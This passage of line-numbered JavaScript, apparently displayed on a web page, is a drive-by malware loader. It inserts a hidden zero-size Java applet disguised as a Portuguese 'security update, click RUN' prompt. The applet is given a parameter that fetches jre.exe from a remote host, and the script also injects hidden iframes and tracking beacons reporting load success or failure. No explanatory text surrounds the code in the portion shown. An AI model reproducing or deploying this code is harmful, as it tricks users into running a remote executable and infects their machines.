<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  46:</span>     <span style="color: #0000ff">if</span> (window.XMLHttpRequest) <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> window.XMLHttpRequest;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  47:</span>     <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  48:</span>         <span style="color: #0000ff">try</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  49:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> ActiveXObject(<span style="color: #006080">&quot;Microsoft.XMLHTTP&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  50:</span>         } <span style="color: #0000ff">catch</span> (ex) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  51:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  52:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  53:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  54:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  55:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  56:</span> <span style="color: #0000ff">function</span> JSM_labReport(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  57:</span>     <span style="color: #0000ff">var</span> oReq = getXMLHttpRequest();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  58:</span>     <span style="color: #0000ff">if</span> (oReq) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  59:</span>         oReq.onreadystatechange = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  60:</span>             <span style="color: #0000ff">if</span> (oReq.readyState == 4) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  61:</span>                 <span style="color: #0000ff">if</span> (oReq.status == 200) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  62:</span>                     <span style="color: #008000">//window.alert('from callback ' + oReq.responseText);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  63:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  64:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  65:</span>         };</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  66:</span>         oReq.open(<span style="color: #006080">&quot;GET&quot;</span>, url, <span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  67:</span>         oReq.send();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  68:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  69:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  70:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  71:</span> <span style="color: #0000ff">function</span> JSM_labReport2(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  72:</span>     <span style="color: #0000ff">var</span> hhBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  73:</span>     <span style="color: #0000ff">if</span> (hhBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  74:</span>         hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  75:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  76:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  77:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  78:</span> <span style="color: #0000ff">function</span> JSM_createImg(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  79:</span>     <span style="color: #0000ff">var</span> img = document.createElement(<span style="color: #006080">'img'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  80:</span>     img.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  81:</span>     <span style="color: #0000ff">return</span> img;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  82:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  83:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  84:</span> <span style="color: #0000ff">function</span> JSM_createSpan(html) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  85:</span>     <span style="color: #0000ff">var</span> span = document.createElement(<span style="color: #006080">'span'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  86:</span>     span.innerHTML = html;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  87:</span>     <span style="color: #0000ff">return</span> span;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  88:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  89:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  90:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  91:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  92:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  93:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  94:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml_X() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  95:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + jsm_applet_url + <span style="color: #006080">'javab.jar?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  96:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  97:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  98:</span> <span style="color: #0000ff">function</span> JSM_onLoad() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  99:</span>     <span style="color: #008000">//report load success</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 100:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 101:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 102:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 103:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 104:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 105:</span> <span style="color: #0000ff">function</span> JSM_onLoadJavaX() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 106:</span>     JSM_createImg(<span style="color: #006080">'http://c.statcounter.com/7455623/0/bd77ea2d/1/'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 107:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 108:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 109:</span> <span style="color: #0000ff">function</span> JSM_onLoadFail() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 110:</span>     <span style="color: #008000">//report load fail</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 111:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 112:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 113:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 114:</span>     <span style="color: #0000ff">if</span> (jsm_applet_index &lt; jsm_applet_count) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 115:</span>         jsm_applet_index++;</pre></p>
